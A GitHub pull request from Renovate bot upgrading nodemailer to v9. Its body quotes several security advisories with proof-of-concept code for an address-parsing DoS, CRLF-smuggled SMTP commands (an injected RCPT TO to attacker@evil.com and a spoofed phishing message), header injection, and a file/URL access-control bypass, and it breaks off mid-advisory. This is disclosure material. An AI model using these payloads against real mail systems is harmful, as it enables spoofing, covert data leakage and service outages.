Skip to content

fix(deps): update dependency nodemailer to v9 [security]#4270

Open
renovate-bot wants to merge 1 commit into
GoogleCloudPlatform:mainfrom
renovate-bot:renovate/npm-nodemailer-vulnerability
Open

fix(deps): update dependency nodemailer to v9 [security]#4270
renovate-bot wants to merge 1 commit into
GoogleCloudPlatform:mainfrom
renovate-bot:renovate/npm-nodemailer-vulnerability

Conversation

@renovate-bot

@renovate-bot renovate-bot commented Mar 27, 2026

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
nodemailer (source) ^6.0.0^9.0.1 age confidence

Nodemailer: Email to an unintended domain can occur due to Interpretation Conflict

CVE-2025-13033 / GHSA-mm7p-fcc7-pg87

More information

Details

The email parsing library incorrectly handles quoted local-parts containing @​. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target.

Payload: "xclow3n@gmail.com x"@​internal.domain
Using the following code to send mail

const nodemailer = require("nodemailer");

let transporter = nodemailer.createTransport({
  service: "gmail",
  auth: {
    user: "",
    pass: "",
  },
});

let mailOptions = {
  from: '"Test Sender" <your_email@gmail.com>', 
  to: "\"xclow3n@gmail.com x\"@&#8203;internal.domain",
  subject: "Hello from Nodemailer",
  text: "This is a test email sent using Gmail SMTP and Nodemailer!",
};

transporter.sendMail(mailOptions, (error, info) => {
  if (error) {
    return console.log("Error: ", error);
  }
  console.log("Message sent: %s", info.messageId);

});

(async () => {
  const parser = await import("@&#8203;sparser/email-address-parser");
  const { EmailAddress, ParsingOptions } = parser.default;
  const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */);

  if (!parsed) {
    console.error("Invalid email address:", mailOptions.to);
    return;
  }

  console.log("Parsed email:", {
    address: `${parsed.localPart}@&#8203;${parsed.domain}`,
    local: parsed.localPart,
    domain: parsed.domain,
  });
})();

Running the script and seeing how this mail is parsed according to RFC

Parsed email: {
  address: '"xclow3n@gmail.com x"@&#8203;internal.domain',
  local: '"xclow3n@gmail.com x"',
  domain: 'internal.domain'
}

But the email is sent to xclow3n@gmail.com

Image
Impact:
  • Misdelivery / Data leakage: Email is sent to psres.net instead of test.com.

  • Filter evasion: Logs and anti-spam systems may be bypassed by hiding recipients inside quoted local-parts.

  • Potential compliance issue: Violates RFC 5321/5322 parsing rules.

  • Domain based access control bypass in downstream applications using your library to send mails

Recommendations
  • Fix parser to correctly treat quoted local-parts per RFC 5321/5322.

  • Add strict validation rejecting local-parts containing embedded @​ unless fully compliant with quoting.

Severity

  • CVSS Score: 5.5 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Nodemailer’s addressparser is vulnerable to DoS caused by recursive calls

CVE-2025-14874 / GHSA-rcmh-qjqh-p98v

More information

Details

Summary

A DoS can occur that immediately halts the system due to the use of an unsafe function.

Details

According to RFC 5322, nested group structures (a group inside another group) are not allowed. Therefore, in lib/addressparser/index.js, the email address parser performs flattening when nested groups appear, since such input is likely to be abnormal. (If the address is valid, it is added as-is.) In other words, the parser flattens all nested groups and inserts them into the final group list.
However, the code implemented for this flattening process can be exploited by malicious input and triggers DoS

RFC 5322 uses a colon (:) to define a group, and commas (,) are used to separate members within a group.
At the following location in lib/addressparser/index.js:

https://github.com/nodemailer/nodemailer/blob/master/lib/addressparser/index.js#L90

there is code that performs this flattening. The issue occurs when the email address parser attempts to process the following kind of malicious address header:

g0: g1: g2: g3: ... gN: victim@example.com;

Because no recursion depth limit is enforced, the parser repeatedly invokes itself in the pattern
addressparser → _handleAddress → addressparser → ...
for each nested group. As a result, when an attacker sends a header containing many colons, Nodemailer enters infinite recursion, eventually throwing Maximum call stack size exceeded and causing the process to terminate immediately. Due to the structure of this behavior, no authentication is required, and a single request is enough to shut down the service.

The problematic code section is as follows:

if (isGroup) {
    ...
    if (data.group.length) {
        let parsedGroup = addressparser(data.group.join(',')); // <- boom!
        parsedGroup.forEach(member => {
            if (member.group) {
                groupMembers = groupMembers.concat(member.group);
            } else {
                groupMembers.push(member);
            }
        });
    }
}

data.group is expected to contain members separated by commas, but in the attacker’s payload the group contains colon (:) tokens. Because of this, the parser repeatedly triggers recursive calls for each colon, proportional to their number.

PoC
const nodemailer = require('nodemailer');

function buildDeepGroup(depth) {
  let parts = [];
  for (let i = 0; i < depth; i++) {
    parts.push(`g${i}:`);
  }
  return parts.join(' ') + ' user@example.com;';
}

const DEPTH = 3000; // <- control depth 
const toHeader = buildDeepGroup(DEPTH);
console.log('to header length:', toHeader.length);

const transporter = nodemailer.createTransport({
  streamTransport: true,
  buffer: true,
  newline: 'unix'
});

console.log('parsing start');

transporter.sendMail(
  {
    from: 'test@example.com',
    to: toHeader,
    subject: 'test',
    text: 'test'
  },
  (err, info) => {
    if (err) {
      console.error('error:', err);
    } else {
      console.log('finished :', info && info.envelope);
    }
  }
);

As a result, when the colon is repeated beyond a certain threshold, the Node.js process terminates immediately.

Impact

The attacker can achieve the following:

  1. Force an immediate crash of any server/service that uses Nodemailer
  2. Kill the backend process with a single web request
  3. In environments using PM2/Forever, trigger a continuous restart loop, causing severe resource exhaustion”

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Nodemailer has SMTP command injection due to unsanitized envelope.size parameter

GHSA-c7w3-x93f-qmm8

More information

Details

Summary

When a custom envelope object is passed to sendMail() with a size property containing CRLF characters (\r\n), the value is concatenated directly into the SMTP MAIL FROM command without sanitization. This allows injection of arbitrary SMTP commands, including RCPT TO — silently adding attacker-controlled recipients to outgoing emails.

Details

In lib/smtp-connection/index.js (lines 1161-1162), the envelope.size value is concatenated into the SMTP MAIL FROM command without any CRLF sanitization:

if (this._envelope.size && this._supportedExtensions.includes('SIZE')) {
    args.push('SIZE=' + this._envelope.size);
}

This contrasts with other envelope parameters in the same function that ARE properly sanitized:

  • Addresses (from, to): validated for [\r\n<>] at lines 1107-1127
  • DSN parameters (dsn.ret, dsn.envid, dsn.orcpt): encoded via encodeXText() at lines 1167-1183

The size property reaches this code path through MimeNode.setEnvelope() in lib/mime-node/index.js (lines 854-858), which copies all non-standard envelope properties verbatim:

const standardFields = ['to', 'cc', 'bcc', 'from'];
Object.keys(envelope).forEach(key => {
    if (!standardFields.includes(key)) {
        this._envelope[key] = envelope[key];
    }
});

Since _sendCommand() writes the command string followed by \r\n to the raw TCP socket, a CRLF in the size value terminates the MAIL FROM command and starts a new SMTP command.

Note: by default, Nodemailer constructs the envelope automatically from the message's from/to fields and does not include size. This vulnerability requires the application to explicitly pass a custom envelope object with a size property to sendMail().
While this limits the attack surface, applications that expose envelope configuration to users are affected.

PoC

ave the following as poc.js and run with node poc.js:

const net = require('net');
const nodemailer = require('nodemailer');

// Minimal SMTP server that logs raw commands
const server = net.createServer(socket => {
    socket.write('220 localhost ESMTP\r\n');
    let buffer = '';
    socket.on('data', chunk => {
        buffer += chunk.toString();
        const lines = buffer.split('\r\n');
        buffer = lines.pop();
        for (const line of lines) {
            if (!line) continue;
            console.log('C:', line);
            if (line.startsWith('EHLO')) {
                socket.write('250-localhost\r\n250-SIZE 10485760\r\n250 OK\r\n');
            } else if (line.startsWith('MAIL FROM')) {
                socket.write('250 OK\r\n');
            } else if (line.startsWith('RCPT TO')) {
                socket.write('250 OK\r\n');
            } else if (line === 'DATA') {
                socket.write('354 Start\r\n');
            } else if (line === '.') {
                socket.write('250 OK\r\n');
            } else if (line.startsWith('QUIT')) {
                socket.write('221 Bye\r\n');
                socket.end();
            }
        }
    });
});

server.listen(0, '127.0.0.1', () => {
    const port = server.address().port;
    console.log('SMTP server on port', port);
    console.log('Sending email with injected RCPT TO...\n');

    const transporter = nodemailer.createTransport({
        host: '127.0.0.1',
        port,
        secure: false,
        tls: { rejectUnauthorized: false },
    });

    transporter.sendMail({
        from: 'sender@example.com',
        to: 'recipient@example.com',
        subject: 'Normal email',
        text: 'This is a normal email.',
        envelope: {
            from: 'sender@example.com',
            to: ['recipient@example.com'],
            size: '100\r\nRCPT TO:<attacker@evil.com>',
        },
    }, (err) => {
        if (err) console.error('Error:', err.message);
        console.log('\nExpected output above:');
        console.log('  C: MAIL FROM:<sender@example.com> SIZE=100');
        console.log('  C: RCPT TO:<attacker@evil.com>        <-- INJECTED');
        console.log('  C: RCPT TO:<recipient@example.com>');
        server.close();
        transporter.close();
    });
});

Expected output:

SMTP server on port 12345
Sending email with injected RCPT TO...

C: EHLO [127.0.0.1]
C: MAIL FROM:<sender@example.com> SIZE=100
C: RCPT TO:<attacker@evil.com>
C: RCPT TO:<recipient@example.com>
C: DATA
...
C: .
C: QUIT

The RCPT TO:<attacker@evil.com> line is injected by the CRLF in the size field, silently adding an extra recipient to the email.

Impact

This is an SMTP command injection vulnerability. An attacker who can influence the envelope.size property in a sendMail() call can:

  • Silently add hidden recipients to outgoing emails via injected RCPT TO commands, receiving copies of all emails sent through the affected transport
  • Inject arbitrary SMTP commands (e.g., RSET, additional MAIL FROM to send entirely separate emails through the server)
  • Leverage the sending organization's SMTP server reputation for spam or phishing delivery

The severity is mitigated by the fact that the envelope object must be explicitly provided by the application. Nodemailer's default envelope construction from message headers does not include size. Applications that pass through user-controlled data to the envelope options (e.g., via API parameters, admin panels, or template configurations) are vulnerable.

Affected versions: at least v8.0.3 (current); likely all versions where envelope.size is supported.

Severity

  • CVSS Score: 2.3 / 10 (Low)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Nodemailer Vulnerable to SMTP Command Injection via CRLF in Transport name Option (EHLO/HELO)

GHSA-vvjj-xcjg-gr5g

More information

Details

Summary

Nodemailer versions up to and including 8.0.4 are vulnerable to SMTP command injection via CRLF sequences in the transport name configuration option. The name value is used directly in the EHLO/HELO SMTP command without any sanitization for carriage return and line feed characters (\r\n). An attacker who can influence this option can inject arbitrary SMTP commands, enabling unauthorized email sending, email spoofing, and phishing attacks.

Details

The vulnerability exists in lib/smtp-connection/index.js. When establishing an SMTP connection, the name option is concatenated directly into the EHLO command:

// lib/smtp-connection/index.js, line 71
this.name = this.options.name || this._getHostname();

// line 1336
this._sendCommand('EHLO ' + this.name);

The _sendCommand method writes the string directly to the socket followed by \r\n (line 1082):

this._socket.write(Buffer.from(str + '\r\n', 'utf-8'));

If the name option contains \r\n sequences, each injected line is interpreted by the SMTP server as a separate command. Unlike the envelope.from and envelope.to fields which are validated for \r\n (line 1107-1119), and unlike envelope.size which was recently fixed (GHSA-c7w3-x93f-qmm8) by casting to a number, the name parameter receives no CRLF sanitization whatsoever.

This is distinct from the previously reported GHSA-c7w3-x93f-qmm8 (envelope.size injection) as it affects a different parameter (name vs size), uses a different injection point (EHLO command vs MAIL FROM command), and occurs at connection initialization rather than during message sending.

The name option is also used in HELO (line 1384) and LHLO (line 1333) commands with the same lack of sanitization.

PoC
const nodemailer = require('nodemailer');
const net = require('net');

// Simple SMTP server to observe injected commands
const server = net.createServer(socket => {
    socket.write('220 test ESMTP\r\n');
    socket.on('data', data => {
        const lines = data.toString().split('\r\n').filter(l => l);
        lines.forEach(line => {
            console.log('SMTP CMD:', line);
            if (line.startsWith('EHLO') || line.startsWith('HELO'))
                socket.write('250 OK\r\n');
            else if (line.startsWith('MAIL FROM'))
                socket.write('250 OK\r\n');
            else if (line.startsWith('RCPT TO'))
                socket.write('250 OK\r\n');
            else if (line === 'DATA')
                socket.write('354 Go\r\n');
            else if (line === '.')
                socket.write('250 OK\r\n');
            else if (line === 'QUIT')
                { socket.write('221 Bye\r\n'); socket.end(); }
            else if (line === 'RSET')
                socket.write('250 OK\r\n');
        });
    });
});

server.listen(0, '127.0.0.1', () => {
    const port = server.address().port;

    // Inject a complete phishing email via EHLO name
    const transport = nodemailer.createTransport({
        host: '127.0.0.1',
        port: port,
        secure: false,
        name: 'legit.host\r\nMAIL FROM:<attacker@evil.com>\r\n'
            + 'RCPT TO:<victim@target.com>\r\nDATA\r\n'
            + 'From: ceo@company.com\r\nTo: victim@target.com\r\n'
            + 'Subject: Urgent\r\n\r\nPhishing content\r\n.\r\nRSET'
    });

    transport.sendMail({
        from: 'legit@example.com',
        to: 'legit-recipient@example.com',
        subject: 'Normal email',
        text: 'Normal content'
    }, () => { server.close(); process.exit(0); });
});

Running this PoC shows the SMTP server receives the injected MAIL FROM, RCPT TO, DATA, and phishing email content as separate SMTP commands before the legitimate email is sent.

Impact

Who is affected: Applications that allow users or external input to configure the name SMTP transport option. This includes:

  • Multi-tenant SaaS platforms with per-tenant SMTP configuration
  • Admin panels where SMTP hostname/name settings are stored in databases
  • Applications loading SMTP config from environment variables or external sources

What can an attacker do:

  1. Send unauthorized emails to arbitrary recipients by injecting MAIL FROM and RCPT TO commands
  2. Spoof email senders by injecting arbitrary From headers in the DATA portion
  3. Conduct phishing attacks using the legitimate SMTP server as a relay
  4. Bypass application-level controls on email recipients, since the injected commands are processed before the application's intended MAIL FROM/RCPT TO
  5. Perform SMTP reconnaissance by injecting commands like VRFY or EXPN

The injection occurs at the EHLO stage (before authentication in most SMTP flows), making it particularly dangerous as the injected commands may be processed with the server's trust context.

Recommended fix: Sanitize the name option by stripping or rejecting CRLF sequences, similar to how envelope.from and envelope.to are already validated on lines 1107-1119 of lib/smtp-connection/index.js. For example:

this.name = (this.options.name || this._getHostname()).replace(/[\r\n]/g, '');

Severity

  • CVSS Score: 4.9 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Nodemailer: CRLF injection in Nodemailer List-* header comments allows arbitrary message header injection

GHSA-268h-hp4c-crq3

More information

Details

Summary

Nodemailer constructs List-* headers from the caller-provided list message option using internally prepared header values. The list.*.comment field is inserted into those prepared values without removing CR (\r) or LF (\n) characters. Because prepared headers bypass the normal header-value sanitizer and are passed to mimeFuncs.foldLines(), a CRLF sequence in a list comment is emitted as an actual header boundary in the generated RFC822 message.

An application that lets a lower-privileged or unauthenticated user influence list.help.comment, list.unsubscribe.comment, list.subscribe.comment, list.post.comment, list.owner.comment, list.archive.comment, or list.id.comment can therefore be made to generate messages containing attacker-chosen additional headers.

Details

Source-to-sink evidence:

  • lib/mailer/mail-message.js:241-249 calls _getListHeaders(this.data.list) and adds each returned value with this.message.addHeader(listHeader.key, value).
  • lib/mailer/mail-message.js:253-296 builds each list header value as { prepared: true, foldLines: true, value: ... }.
  • For List-ID, lib/mailer/mail-message.js:272-279 copies value.comment into the generated header value. If mimeFuncs.isPlainText(comment) returns true, it wraps the comment in quotes rather than encoding or CRLF-normalizing it.
  • For the other List-* headers, lib/mailer/mail-message.js:283-288 copies value.comment into (<comment>). If mimeFuncs.isPlainText(comment) returns true, the value is not encoded or CRLF-normalized.
  • lib/mime-node/index.js:323-351 accepts the prepared header object.
  • lib/mime-node/index.js:533-540 trusts options.prepared; when foldLines is set, it pushes mimeFuncs.foldLines(key + ': ' + value) directly into the header block.
  • The normal header-value sanitizer path is bypassed because the value is marked prepared. By contrast, ordinary unprepared header values are normalized in the regular header-building path.
  • lib/mailer/mail-message.js:299-308 removes whitespace and angle brackets from list.*.url, so the confirmed injection source is the comment field, not the URL field.

Default/common exposure evidence:

  • lib/nodemailer.js:21-60 exposes the public createTransport(...).sendMail(...) flow used by the package.
  • examples/full.js:106-123 documents list.unsubscribe.comment and list.id.comment as normal message options.
  • The behavior is in shipped runtime code and does not require test-only code, non-default build steps, or undocumented internals.

False-positive screening and negative controls:

  • SMTP command construction was separately reviewed. Envelope sender/recipients reject CRLF before SMTP commands, EHLO names strip CRLF, SIZE is numeric, and DSN fields are encoded; no SMTP command-injection variant was confirmed.
  • Ordinary subject header input containing CRLF was normalized to a single Subject: header and did not create X-Injected in the local control case.
  • Address display names and MIME filename/content-type parameters were reviewed by a focused MIME/header audit and were encoded or CRLF-normalized in local checks.
  • prepared: true custom headers are an explicit low-level escape hatch, but this issue is different because Nodemailer itself creates prepared headers from the documented list.*.comment option.

Variant analysis:

Local testing confirmed the same root cause for comments in List-Help, List-Unsubscribe, List-Subscribe, List-Post, List-Owner, List-Archive, and List-ID. These should be fixed together by rejecting or normalizing CR/LF in list comments before prepared header generation, or by avoiding the prepared-header bypass for caller-controlled list values.

Affected version evidence and uncertainty:

  • Confirmed vulnerable: nodemailer 8.0.8 at commit 15138a84c543c20aa399218534cdbbfa2ea1ce55.
  • Git history shows _getListHeaders present in historical commits including 22fcff8 (v4.3.0) and related list-header work in 9b4f90a (v3.1.8), but older versions were not dynamically tested during this audit.
  • Affected range is therefore recorded as unknown beyond the confirmed current version.
  • No patched version was identified in this checkout.

Severity rationale:

  • AV: The vulnerable library path is reached through application-level message submission in typical networked applications that use Nodemailer.
  • AC: A single CRLF sequence in a documented message option triggers the issue.
  • PR: Conservative assumption that the attacker is a lower-privileged user of an application that exposes list metadata fields. Some applications could expose this to unauthenticated users, but that was not assumed.
  • UI: No maintainer or victim interaction is needed after the application accepts the message object.
  • S: The impact remains in the application/mail-generation security scope.
  • C/I: Injected headers can affect message metadata, mail-client/filter interpretation, and downstream mail-pipeline decisions. No SMTP envelope recipient injection or code execution was demonstrated.
  • A: No availability impact was demonstrated.

Final self-review:

  • Reproduction evidence was generated locally from this checkout with a safe in-memory streamTransport PoC and a negative Subject control case.
  • The PoC is non-destructive and does not send network traffic outside the process.
  • The observed output contains an actual CRLF-delimited injected header line.
  • Reachability, sanitizer bypass, package exposure, variants, and non-exploitable sibling paths were checked as described above.
  • The affected range is not overclaimed; only the current tested version is confirmed vulnerable.
PoC

From a clean checkout of nodemailer at commit 15138a84c543c20aa399218534cdbbfa2ea1ce55, run:

node <<'NODE'
'use strict';
const nodemailer = require('./');
const headersEnd = raw => raw.slice(0, raw.indexOf('\r\n\r\n'));
const hasStandaloneInjected = raw => /\r\nX-Injected: yes\)/.test(raw) || /\r\nX-Injected: yes\r\n/.test(raw);
(async () => {
  const transport = nodemailer.createTransport({ streamTransport: true, buffer: true });
  const positive = await transport.sendMail({
    from: 'sender@example.test',
    to: 'recipient@example.test',
    subject: 'control',
    list: { unsubscribe: { url: 'https://example.test/u', comment: 'ok\r\nX-Injected: yes' } },
    text: 'body'
  });
  const positiveRaw = positive.message.toString('utf8');
  console.log('POSITIVE_HAS_INJECTED=' + hasStandaloneInjected(positiveRaw));
  console.log('POSITIVE_LIST_LINE=' + JSON.stringify(headersEnd(positiveRaw).split('\r\n').filter(line => /^List-Unsubscribe:|^X-Injected:/.test(line)).join('\n')));

  const control = await transport.sendMail({
    from: 'sender@example.test',
    to: 'recipient@example.test',
    subject: 'safe\r\nX-Injected: no',
    text: 'body'
  });
  const controlRaw = control.message.toString('utf8');
  console.log('CONTROL_HAS_INJECTED=' + /\r\nX-Injected: no\r\n/.test(controlRaw));
  console.log('CONTROL_SUBJECT=' + JSON.stringify(headersEnd(controlRaw).split('\r\n').filter(line => /^Subject:|^X-Injected:/.test(line)).join('\n')));

  const variantKeys = ['help', 'unsubscribe', 'subscribe', 'post', 'owner', 'archive', 'id'];
  const result = [];
  for (const key of variantKeys) {
    const info = await transport.sendMail({
      from: 'sender@example.test',
      to: 'recipient@example.test',
      subject: 'variant ' + key,
      list: Object.assign({}, { [key]: { url: key === 'id' ? 'example.test' : 'https://example.test/' + key, comment: 'c\r\nX-Variant-' + key + ': yes' } }),
      text: 'body'
    });
    result.push(key + '=' + new RegExp('\\r\\nX-Variant-' + key + ': yes').test(info.message.toString('utf8')));
  }
  console.log('VARIANTS=' + result.join(','));
})().catch(err => { console.error(err && err.stack || err); process.exit(1); });
NODE

Observed output in this environment:

POSITIVE_HAS_INJECTED=true
POSITIVE_LIST_LINE="List-Unsubscribe: <https://example.test/u> (ok\nX-Injected: yes)"
CONTROL_HAS_INJECTED=false
CONTROL_SUBJECT="Subject: safe X-Injected: no"
VARIANTS=help=true,unsubscribe=true,subscribe=true,post=true,owner=true,archive=true,id=true

Expected vulnerable output: POSITIVE_HAS_INJECTED=true and all listed variants ending in =true. Expected negative/control output: CONTROL_HAS_INJECTED=false, showing the ordinary Subject header path does not create a separate injected header.

Cleanup: none required; the PoC uses only in-memory message generation.

Impact

A lower-privileged attacker who can influence list.*.comment fields in an application using Nodemailer can inject arbitrary additional headers into generated email messages. This can alter message semantics and downstream mail-client or mail-filter behavior, including adding attacker-controlled metadata headers. The PoC confirms header-boundary injection in the generated RFC822 output; it does not demonstrate SMTP command injection, recipient injection, or code execution.

Suggested remediation

Normalize or reject CR and LF in list.*.comment before constructing prepared List-* headers. Prefer sharing the same CRLF-neutralization behavior used for ordinary header values, or avoid using prepared: true for caller-controlled list comment content. Add regression tests for CRLF in every documented list comment-bearing field and verify that generated messages do not contain attacker-controlled standalone headers.

Severity

  • CVSS Score: 5.4 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Nodemailer jsonTransport bypasses disableFileAccess and disableUrlAccess during message normalization

GHSA-wqvq-jvpq-h66f

More information

Details

Summary

Nodemailer's disableFileAccess and disableUrlAccess options are intended to prevent message content and attachments from reading local files or fetching URLs. The normal MIME streaming path enforces those options in MimeNode._getStream(). However, jsonTransport serializes messages by calling mail.normalize(), which resolves html, text, alternatives, calendar events, and attachments through shared.resolveContent() before MIME generation. shared.resolveContent() reads local files and fetches HTTP(S) URLs directly, without receiving or checking disableFileAccess or disableUrlAccess.

As a result, applications that use jsonTransport as a safe serializer or queue payload generator while relying on disableFileAccess / disableUrlAccess can still be made to read local files into the generated JSON output or make outbound HTTP requests when an attacker controls message content fields such as attachment path or text.href.

The same missing-enforcement root cause is also reachable before normal streaming when attachDataUrls causes _convertDataImages() to call mail.resolveContent(mail.data, 'html', ...); this should be fixed with the same access-control check.

Details

Source-to-sink evidence:

  • lib/nodemailer.js:42-45 selects JSONTransport when createTransport({ jsonTransport: true, ... }) is used.
  • lib/mailer/mail-message.js:34-39 copies transport-level disableFileAccess and disableUrlAccess options into mail.data.
  • lib/json-transport/index.js:52-76 serializes mail by calling mail.normalize((err, data) => ...).
  • lib/mailer/mail-message.js:46-135 implements resolveAll() and calls shared.resolveContent(...args, ...) for html, text, watchHtml, amp, icalEvent, alternatives, and attachments.
  • lib/shared/index.js:506-562 implements resolveContent().
  • lib/shared/index.js:540-541 fetches HTTP(S) content with nmfetch(content.path || content.href).
  • lib/shared/index.js:549-550 reads local files with fs.createReadStream(content.path).
  • shared.resolveContent() does not check disableFileAccess or disableUrlAccess and does not receive those flags.

Control path showing intended enforcement:

  • lib/mail-composer/index.js:358-359, lib/mail-composer/index.js:367-368, and sibling child-node creation paths pass disableUrlAccess and disableFileAccess into MimeNode.
  • lib/mime-node/index.js:51-52 stores those flags.
  • lib/mime-node/index.js:984-995 rejects file paths with EFILEACCESS when disableFileAccess is set.
  • lib/mime-node/index.js:998-1009 rejects URLs with EURLACCESS when disableUrlAccess is set.
  • test/mail-composer/mail-composer-test.js:1028-1044 includes a normal MIME-streaming test that expects file access to be blocked when disableFileAccess: true.

Additional same-root-cause variant:

  • lib/mailer/index.js:406-434 implements _convertDataImages() for attachDataUrls.
  • lib/mailer/index.js:407-410 calls mail.resolveContent(mail.data, 'html', ...) when attachDataUrls is enabled and mail.data.html is present.
  • Because mail.resolveContent() delegates to shared.resolveContent() at lib/mailer/mail-message.js:42-44, an object-form html: { path: ... } or html: { href: ... } can be resolved before the later MIME streaming enforcement sees the content.
  • This variant requires attachDataUrls to be enabled, so the main reportable default/common path is jsonTransport; both should be fixed by enforcing access flags inside the pre-resolution helper or passing policy into it.

Default/common exposure evidence:

  • jsonTransport is a shipped runtime transport selected by public createTransport options.
  • test/json-transport/json-transport-test.js:9-83 demonstrates that jsonTransport intentionally resolves file-backed html and attachments into JSON output.
  • disableFileAccess and disableUrlAccess are documented by code and tests as security controls and are copied from transport options into message data for all transports.
  • The bypass does not require test-only code, external infrastructure, unsupported configuration, or maintainer-only APIs.

False-positive screening and negative controls:

  • The local PoC used the same disableFileAccess: true and disableUrlAccess: true transport options for both jsonTransport and normal streamTransport controls.
  • jsonTransport read the temporary local fixture file and embedded the content in JSON despite disableFileAccess: true.
  • streamTransport with the same attachment and disableFileAccess: true rejected with EFILEACCESS.
  • jsonTransport fetched a local HTTP listener despite disableUrlAccess: true.
  • streamTransport with the same URL and disableUrlAccess: true rejected with EURLACCESS.
  • The local URL proof used only 127.0.0.1 and did not contact external infrastructure.

Affected version evidence and uncertainty:

  • Confirmed vulnerable: nodemailer 8.0.8 at commit 15138a84c543c20aa399218534cdbbfa2ea1ce55.
  • Git history shows jsonTransport has existed since commit d78b63b (2017-02-09, "Added test for json transport"), and disableFileAccess appears in historical setup commit 6218b8d (2017-01-31), but older versions were not dynamically tested during this audit.
  • Affected range is therefore recorded as unknown beyond the confirmed current version.
  • No patched version was identified in this checkout.

Severity rationale:

  • AV: The vulnerable library path is typically reached through an application-level message submission or rendering/queueing feature.
  • AC: A single message field using path or href triggers the bypass when jsonTransport is used.
  • PR: Conservative assumption that the attacker is a lower-privileged user of an application that accepts partially user-controlled message objects. Some deployments may expose this unauthenticated, but that was not assumed.
  • UI: No user interaction is required after the application accepts the message object.
  • S: The impact remains in the embedding application/library security scope.
  • C: Local file contents can be copied into the generated JSON output when the application later stores, logs, returns, or forwards that JSON.
  • I: The attacker can induce outbound HTTP requests to attacker-chosen or internal URLs from the application host when URL access was intended to be disabled.
  • A: No availability impact was demonstrated; the PoC used bounded local files and a localhost listener only.

Final self-review:

  • Reproduction evidence was generated locally from this checkout using only a temporary file under the OS temp directory and a local 127.0.0.1 HTTP listener.
  • The PoC included positive proof for file read and URL fetch, plus negative controls showing normal streamTransport rejects the same inputs with EFILEACCESS and EURLACCESS.
  • The proof is non-destructive, performs no external network traffic, and deletes its temporary fixture.
  • Reachability, package exposure, policy-enforcement bypass, same-root-cause variant, and false-positive controls were checked as described above.
  • The affected range is not overclaimed; only the current tested version is confirmed vulnerable.
PoC

From a clean checkout of nodemailer at commit 15138a84c543c20aa399218534cdbbfa2ea1ce55, run:

node <<'NODE'
'use strict';
const fs = require('fs');
const os = require('os');
const path = require('path');
const http = require('http');
const nodemailer = require('./');
const marker = 'NM_JSON_BYPASS_' + Date.now();
const fixture = path.join(os.tmpdir(), 'nodemailer-json-bypass-' + process.pid + '.txt');
fs.writeFileSync(fixture, marker);
function sendMail(transport, data) {
  return new Promise((resolve, reject) => transport.sendMail(data, (err, info) => err ? reject(err) : resolve(info)));
}
(async () => {
  const jsonTransport = nodemailer.createTransport({ jsonTransport: true, disableFileAccess: true, disableUrlAccess: true });
  const jsonInfo = await sendMail(jsonTransport, {
    from: 'sender@example.test',
    to: 'recipient@example.test',
    subject: 'json file bypass',
    text: 'body',
    attachments: [{ filename: 'secret.txt', path: fixture }]
  });
  const jsonMessage = JSON.parse(jsonInfo.message);
  const decoded = Buffer.from(jsonMessage.attachments[0].content, 'base64').toString('utf8');
  console.log('JSON_FILE_BYPASS=' + (decoded === marker));
  console.log('JSON_FILE_CONTENT=' + decoded);

  const streamTransport = nodemailer.createTransport({ streamTransport: true, buffer: true, disableFileAccess: true });
  try {
    await sendMail(streamTransport, {
      from: 'sender@example.test',
      to: 'recipient@example.test',
      subject: 'stream control',
      text: 'body',
      attachments: [{ filename: 'secret.txt', path: fixture }]
    });
    console.log('STREAM_FILE_CONTROL=NO_ERROR');
  } catch (err) {
    console.log('STREAM_FILE_CONTROL=' + err.code);
  }

  const server = http.createServer((req, res) => {
    console.log('LOCAL_HTTP_REQUEST=' + req.method + ' ' + req.url);
    res.end('LOCAL_HTTP_MARKER');
  });
  await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));
  const url = 'http://127.0.0.1:' + server.address().port + '/private';
  const jsonUrlInfo = await sendMail(jsonTransport, {
    from: 'sender@example.test',
    to: 'recipient@example.test',
    subject: 'json url bypass',
    text: { href: url }
  });
  const jsonUrlMessage = JSON.parse(jsonUrlInfo.message);
  console.log('JSON_URL_BYPASS=' + (jsonUrlMessage.text === 'LOCAL_HTTP_MARKER'));
  const streamUrlTransport = nodemailer.createTransport({ streamTransport: true, buffer: true, disableUrlAccess: true });
  try {
    await sendMail(streamUrlTransport, {
      from: 'sender@example.test',
      to: 'recipient@example.test',
      subject: 'stream url control',
      text: { href: url }
    });
    console.log('STREAM_URL_CONTROL=NO_ERROR');
  } catch (err) {
    console.log('STREAM_URL_CONTROL=' + err.code);
  }
  server.close();
  fs.unlinkSync(fixture);
})().catch(err => { try { fs.unlinkSync(fixture); } catch (E) {} console.error(err && err.stack || err); process.exit(1); });
NODE

Observed output in this environment:

JSON_FILE_BYPASS=true
JSON_FILE_CONTENT=NM_JSON_BYPASS_1779802076150
STREAM_FILE_CONTROL=EFILEACCESS
LOCAL_HTTP_REQUEST=GET /private
JSON_URL_BYPASS=true
STREAM_URL_CONTROL=EURLACCESS

Expected vulnerable output: JSON_FILE_BYPASS=true, the printed temporary marker in JSON_FILE_CONTENT, a LOCAL_HTTP_REQUEST=GET /private line, and JSON_URL_BYPASS=true. Expected negative/control output: STREAM_FILE_CONTROL=EFILEACCESS and STREAM_URL_CONTROL=EURLACCESS, showing the same policy flags work in the normal streaming transport.

Cleanup: the PoC removes its temporary fixture file before exiting and closes the local HTTP server.

Impact

